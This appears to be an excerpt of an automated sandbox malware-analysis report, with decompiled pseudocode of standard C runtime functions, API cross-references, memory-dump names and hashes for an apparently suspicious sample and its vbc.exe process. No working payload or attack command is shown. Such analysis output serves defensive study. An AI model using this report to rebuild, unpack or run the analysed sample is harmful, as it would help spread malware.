Part of subcall function 0040CC49: __getptd_noexit.LIBCMT ref: 0040CC4C
Part of subcall function 0040CC49: __amsg_exit.LIBCMT ref: 0040CC59

__getptd.LIBCMT ref: 0040BDA3
__getptd.LIBCMT ref: 0040BDB1

Strings

csm, xrefs: 0040BD8B
MOC, xrefs: 0040BD84

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 6a69b8f5c8b18aff45b5a37b3d7ff8c6bdade7de566d6e1b2d04b70bc962e377
Instruction ID: 9b1ecdea89c96ae1707f55918ca95d639702fc50398ca0ca75f6e646127bd98b
Opcode Fuzzy Hash: 6a69b8f5c8b18aff45b5a37b3d7ff8c6bdade7de566d6e1b2d04b70bc962e377
Instruction Fuzzy Hash: F0E04F35104214CFD754AB69C086B6A739AEF88318F1542B7E40CD73A2C77DD840968E

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0F3 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0040F0F3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x419f58);
				E0040EB0C(__ebx, __edi, __esi);
				_t31 = E0040CC49(__ebx, __edx, __edi, _t35);
				_t15 =  *0x43da94; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E004100F0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x43d998; // 0x4b1608
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x43d570;
								if(__eflags != 0) {
									_push(_t33);
									E0040BC3B(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x43d998; // 0x4b1608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x43d998; // 0x4b1608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E0040F18E();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040DD85(_t29, _t31, 0x20);
				}
				return E0040EB51(_t33);
			}

0x0040f0f3
0x0040f0f3
0x0040f0f3
0x0040f0f3
0x0040f0f5
0x0040f0fa
0x0040f104
0x0040f106
0x0040f10e
0x0040f12f
0x0040f135
0x0040f139
0x0040f13c
0x0040f13f
0x0040f145
0x0040f147
0x0040f149
0x0040f14c
0x0040f152
0x0040f154
0x0040f156
0x0040f15c
0x0040f15e
0x0040f15f
0x0040f164
0x0040f15c
0x0040f154
0x0040f165
0x0040f16a
0x0040f16d
0x0040f173
0x0040f177
0x0040f177
0x0040f17d
0x0040f184
0x0040f116
0x0040f116
0x0040f116
0x0040f11b
0x0040f11f
0x0040f124
0x0040f12c

APIs

__getptd.LIBCMT ref: 0040F0FF

Part of subcall function 0040CC49: __getptd_noexit.LIBCMT ref: 0040CC4C
Part of subcall function 0040CC49: __amsg_exit.LIBCMT ref: 0040CC59

__amsg_exit.LIBCMT ref: 0040F11F
__lock.LIBCMT ref: 0040F12F
InterlockedDecrement.KERNEL32(?), ref: 0040F14C
InterlockedIncrement.KERNEL32(004B1608), ref: 0040F177

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 5652cfa39262f1c06bd9f406ff10a92793be0373e88e9f9211575caa1798e649
Instruction ID: 4283845ea3d697730f12132328f3d3885bdaa2aea534d300bb9575d4fabe25d9
Opcode Fuzzy Hash: 5652cfa39262f1c06bd9f406ff10a92793be0373e88e9f9211575caa1798e649
Instruction Fuzzy Hash: 2901A131D01611E7D730ABAAE80578A7760AF04714F05003BE8087BAC0CB3CAC95CBCD

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3D6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0040C3D6(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0040C344(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E004090CF(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0040BDC1(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E0040C029(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E00409096(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0040c3d6
0x0040c3d6
0x0040c3d6
0x0040c3d6
0x0040c3d6
0x0040c3db
0x0040c3df
0x0040c3e1
0x0040c3e4
0x0040c3e5
0x0040c3e6
0x0040c3e9
0x0040c3ee
0x0040c3ee
0x0040c3f1
0x0040c3f5
0x0040c3f8
0x0040c3fd
0x0040c3fa
0x0040c3fa
0x0040c3fa
0x0040c400
0x0040c405
0x0040c407
0x0040c40a
0x0040c40d
0x0040c40e
0x0040c416
0x0040c41b
0x0040c41f
0x0040c422
0x0040c425
0x0040c42b
0x0040c42c
0x0040c42f
0x0040c439
0x0040c43d
0x00000000
0x0040c43d
0x0040c443

APIs

___BuildCatchObject.LIBCMT ref: 0040C3E9

Part of subcall function 0040C344: ___BuildCatchObjectHelper.LIBCMT ref: 0040C37A

_UnwindNestedFrames.LIBCMT ref: 0040C400
___FrameUnwindToState.LIBCMT ref: 0040C40E

Strings

csm, xrefs: 0040C3E5, 0040C3FA, 0040C40D, 0040C42B, 0040C43B

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: 05b67e2245c10d14203b147b554bc30bcc828a46ba6760870895824985e537d1
Instruction ID: 04e6ed76cfdc02be5617b1d4c43b402bd3894720be60e97f71fbc267a9cfc3e1
Opcode Fuzzy Hash: 05b67e2245c10d14203b147b554bc30bcc828a46ba6760870895824985e537d1
Instruction Fuzzy Hash: 8601EC7100110AFBDF125F52CC85EAA7F66EF04354F108125BD18251A1D77A9971DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC12 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E0040BC12() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x417f58;
					_v28 =  *0x417f50;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x0040bc17
0x0040bc1f
0x0040bc36
0x0040bbe2
0x0040bbeb
0x0040bbf7
0x0040bbfa
0x0040bbfd
0x0040bbff
0x0040bc02
0x0040bc07
0x0040bc11
0x0040bc09
0x0040bc0d
0x0040bc0d
0x0040bc21
0x0040bc27
0x0040bc2f
0x00000000
0x0040bc31
0x0040bc31
0x0040bc35
0x0040bc35
0x0040bc2f

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00408FE0), ref: 0040BC17
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040BC27

Strings

KERNEL32, xrefs: 0040BC12
IsProcessorFeaturePresent, xrefs: 0040BC21

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 4c94be4cbeef11973152cd54b366fe060a87161fb267bfb28090b781c02438a1
Instruction ID: 40b6ef249f7b7daa709b4af15bbfe2813ec1cf741c39d0f8080105bee39f95d9
Opcode Fuzzy Hash: 4c94be4cbeef11973152cd54b366fe060a87161fb267bfb28090b781c02438a1
Instruction Fuzzy Hash: 33F03630A48A0DD2DF105BA1AD4E7AF7B78FB84745F9204A5D195B01C4DF38C475C28D

Uniqueness

Uniqueness Score: -1.00%

Function 00408E9A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E00408E9A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v0;
				signed int _v4;
				char _v40;
				char _v80;
				char* _t21;
				char* _t25;
				void* _t31;

				_t31 = __eflags;
				_push(0x44);
				E0040AFA9(E004150F2, __ebx, __edi, __esi);
				E004079F0( &_v40, "invalid string position");
				_v4 = _v4 & 0x00000000;
				_t21 =  &_v80;
				E00408E13(_t21,  &_v40);
				E0040947C( &_v80, 0x419c40);
				asm("int3");
				_push(__esi);
				_t25 = _t21;
				 *((intOrPtr*)(_t25 + 0x18)) = 0xf;
				E00408040(_t21, _t31, 0);
				E00407EE0(__ebx, _t25, __edi, _t25, _v0, 0, 0xffffffff);
				return _t25;
			}

0x00408e9a
0x00408e9a
0x00408ea1
0x00408eae
0x00408eb3
0x00408ebb
0x00408ebe
0x00408ecc
0x00408ed1
0x00408ed7
0x00408ed8
0x00408edc
0x00408ee3
0x00408ef1
0x00408efa

APIs

__EH_prolog3.LIBCMT ref: 00408EA1
std::bad_exception::bad_exception.LIBCMT ref: 00408EBE

Part of subcall function 00408E13: std::runtime_error::runtime_error.LIBCPMT ref: 00408E1E

__CxxThrowException@8.LIBCMT ref: 00408ECC

Part of subcall function 0040947C: RaiseException.KERNEL32(?,?,0040ABC7,00408AD3,?,?,?,?,0040ABC7,00408AD3,00419B68,0043E25C,00408AD3,00000000,00000000), ref: 004094BE

Strings

invalid string position, xrefs: 00408EA6

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrowstd::bad_exception::bad_exceptionstd::runtime_error::runtime_error
String ID: invalid string position
API String ID: 3299838469-1799206989
Opcode ID: fc0f9634966666a59fd1beb6fc46d71ea88b0f5f32327016857b7a2e3003166c
Instruction ID: 63404a1e98436f304876e6c87cbd7f1bbc411a2cc466c52c52d43ad17a2d5adc
Opcode Fuzzy Hash: fc0f9634966666a59fd1beb6fc46d71ea88b0f5f32327016857b7a2e3003166c
Instruction Fuzzy Hash: 04F05E71A442186BDB10E6D6CC42FDEB6689B54724F20013FB250BB2C2DEFCA95486E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BADD Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040BADD(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E0040B3CE(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0040B4BE(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E0040B9E3(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E0040B928(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x0040bae2
0x0040bae8
0x0040bb5b
0x00000000
0x0040baef
0x0040baef
0x0040baf2
0x0040bb0d
0x0040bb10
0x0040bb30
0x0040bb42
0x0040bb12
0x0040bb12
0x0040bb15
0x00000000
0x0040bb17
0x0040bb29
0x0040bb29
0x0040bb15
0x0040bb60
0x0040bb64
0x0040baf4
0x0040bb0c
0x0040bb0c
0x0040baf2

APIs

__cftof_l.LIBCMT ref: 0040BB03

Part of subcall function 0040B928: __fltout2.LIBCMT ref: 0040B954

__cftog_l.LIBCMT ref: 0040BB29
__cftoe_l.LIBCMT ref: 0040BB5B

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 4bf4a0ea53b3a88c2455f2f840e7a48f1586a74b409cdf770ee62c988369d905
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7611727640014DBBCF125E85CC51CEE3F32FF58354B588426FA1865575C33AE971AB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040F85F Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0040F85F(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x419f98);
				E0040EB0C(__ebx, __edi, __esi);
				_t28 = E0040CC49(__ebx, __edx, __edi, _t30);
				_t13 =  *0x43da94; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E004100F0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x43db78; // 0x43daa0
					 *((intOrPtr*)(_t29 - 0x1c)) = E0040F821(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0040F8C9();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E0040CC49(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040DD85(_t25, _t26, 0x20);
				}
				return E0040EB51(_t28);
			}

0x0040f85f
0x0040f85f
0x0040f85f
0x0040f85f
0x0040f85f
0x0040f861
0x0040f866
0x0040f870
0x0040f872
0x0040f87a
0x0040f89e
0x0040f8a0
0x0040f8a6
0x0040f8aa
0x0040f8ad
0x0040f8b8
0x0040f8bb
0x0040f8c2
0x0040f87c
0x0040f87c
0x0040f880
0x00000000
0x0040f882
0x0040f887
0x0040f887
0x0040f880
0x0040f88c
0x0040f890
0x0040f895
0x0040f89d

APIs

__getptd.LIBCMT ref: 0040F86B

Part of subcall function 0040CC49: __getptd_noexit.LIBCMT ref: 0040CC4C
Part of subcall function 0040CC49: __amsg_exit.LIBCMT ref: 0040CC59

__getptd.LIBCMT ref: 0040F882
__amsg_exit.LIBCMT ref: 0040F890
__lock.LIBCMT ref: 0040F8A0

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: f7ff18bfc4eaefbfc3ae111a7fc5b7e66d581074c07217c2f3c1813cd1d4e455
Instruction ID: 7b874b581680330f98a181de3251106f4d4ab01fd017e9a213618e64e0a91911
Opcode Fuzzy Hash: f7ff18bfc4eaefbfc3ae111a7fc5b7e66d581074c07217c2f3c1813cd1d4e455
Instruction Fuzzy Hash: B6F04932944704DBE630FBBAA40678A77A06B04718F14827FE405B7AD2CB7CA8458A5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040C14F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0040C14F(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E004093CA(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E0040CC49(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E0040CC49(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E004093A3(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0040BEE7(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x0040c14f
0x0040c14f
0x0040c14f
0x0040c14f
0x0040c14f
0x0040c152
0x0040c158
0x0040c166
0x0040c16c
0x0040c174
0x0040c180
0x0040c188
0x0040c190
0x0040c1a4
0x0040c1a6
0x0040c1aa
0x0040c1af
0x0040c1b5
0x0040c1b7
0x0040c1b9
0x0040c1bc
0x00000000
0x0040c1c3
0x0040c1b7
0x0040c1aa
0x0040c1a4
0x0040c190
0x0040c1c4

APIs

Part of subcall function 004093CA: __getptd.LIBCMT ref: 004093D0
Part of subcall function 004093CA: __getptd.LIBCMT ref: 004093E0

__getptd.LIBCMT ref: 0040C15E

Part of subcall function 0040CC49: __getptd_noexit.LIBCMT ref: 0040CC4C
Part of subcall function 0040CC49: __amsg_exit.LIBCMT ref: 0040CC59

__getptd.LIBCMT ref: 0040C16C

Strings

csm, xrefs: 0040C17A

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f27be2a6cce1dea113f21df7c239339f8d42f9ded0ae16fe9de1985bb3b11bf9
Instruction ID: 1fc0a5b6d699be681e59291f6e69a98b6dc362c239266939c4b857e1d5dbdb9f
Opcode Fuzzy Hash: f27be2a6cce1dea113f21df7c239339f8d42f9ded0ae16fe9de1985bb3b11bf9
Instruction Fuzzy Hash: 42015632804204CADF289F66D4D06AEB3B4AF24314F54463FE441AA2D2CB398980CE48

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 5072, Parent PID: 2572COMMON

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	1

Executed Functions

Function 05760908 Relevance: .5, Instructions: 499
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a9d5d2eb3e551dd4f029495330ce31f68a7f19166e0e6620643e6c96b1e53d2
Instruction ID: 52992c2eb5baa881af23f201641af029564e8b442258d7db89e72b8d16a89bf9
Opcode Fuzzy Hash: 2a9d5d2eb3e551dd4f029495330ce31f68a7f19166e0e6620643e6c96b1e53d2
Instruction Fuzzy Hash: CF220175901228CFDB65DF60C958BE9BBB2FF4A305F0084E9D509AB2A1DB359E84DF40

Uniqueness

Uniqueness Score: -1.00%

Function 0AF6F8E8 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.401719885.000000000AF60000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AF60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af60000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41a7355bf7366a79c5c3e9332458beec8b86147aa6bb2c8ac77ecca969302458
Instruction ID: 80247ecb2e5d6755d2d262a0083a5b93f1e3f30595e754b1f71ab1c324a79740
Opcode Fuzzy Hash: 41a7355bf7366a79c5c3e9332458beec8b86147aa6bb2c8ac77ecca969302458
Instruction Fuzzy Hash: 42C1F570E05258CFDB24DFA5D890B9DBBB2BF89304F2081A9D449AB355DB349E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05765DB7 Relevance: 8.9, Strings: 7, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,~Gg, xrefs: 05765DFA
,~Gg, xrefs: 05765E4F
,~Gg, xrefs: 05765EFF
,~Gg, xrefs: 05765ED3
,~Gg, xrefs: 05765E23
,~Gg, xrefs: 05765EA7
,~Gg, xrefs: 05765E7B

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID: ,~Gg$,~Gg$,~Gg$,~Gg$,~Gg$,~Gg$,~Gg
API String ID: 0-1677805647
Opcode ID: b61e54e9a1cab405c247a5558b3b1d568d0d4affcd19dd270483bde6339ca7f1
Instruction ID: dc347cbf3e33be94444df9ada69b1dec51d362d7b93847d1b0146b18fa707ed1
Opcode Fuzzy Hash: b61e54e9a1cab405c247a5558b3b1d568d0d4affcd19dd270483bde6339ca7f1
Instruction Fuzzy Hash: 2431C534305254AFD70666709858FBF729FDBCA364F24081DD90B8BB56CE345C0253E2

Uniqueness

Uniqueness Score: -1.00%

Function 05765DC8 Relevance: 8.9, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,~Gg, xrefs: 05765DFA
,~Gg, xrefs: 05765E4F
,~Gg, xrefs: 05765EFF
,~Gg, xrefs: 05765ED3
,~Gg, xrefs: 05765E23
,~Gg, xrefs: 05765EA7
,~Gg, xrefs: 05765E7B

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID: ,~Gg$,~Gg$,~Gg$,~Gg$,~Gg$,~Gg$,~Gg
API String ID: 0-1677805647
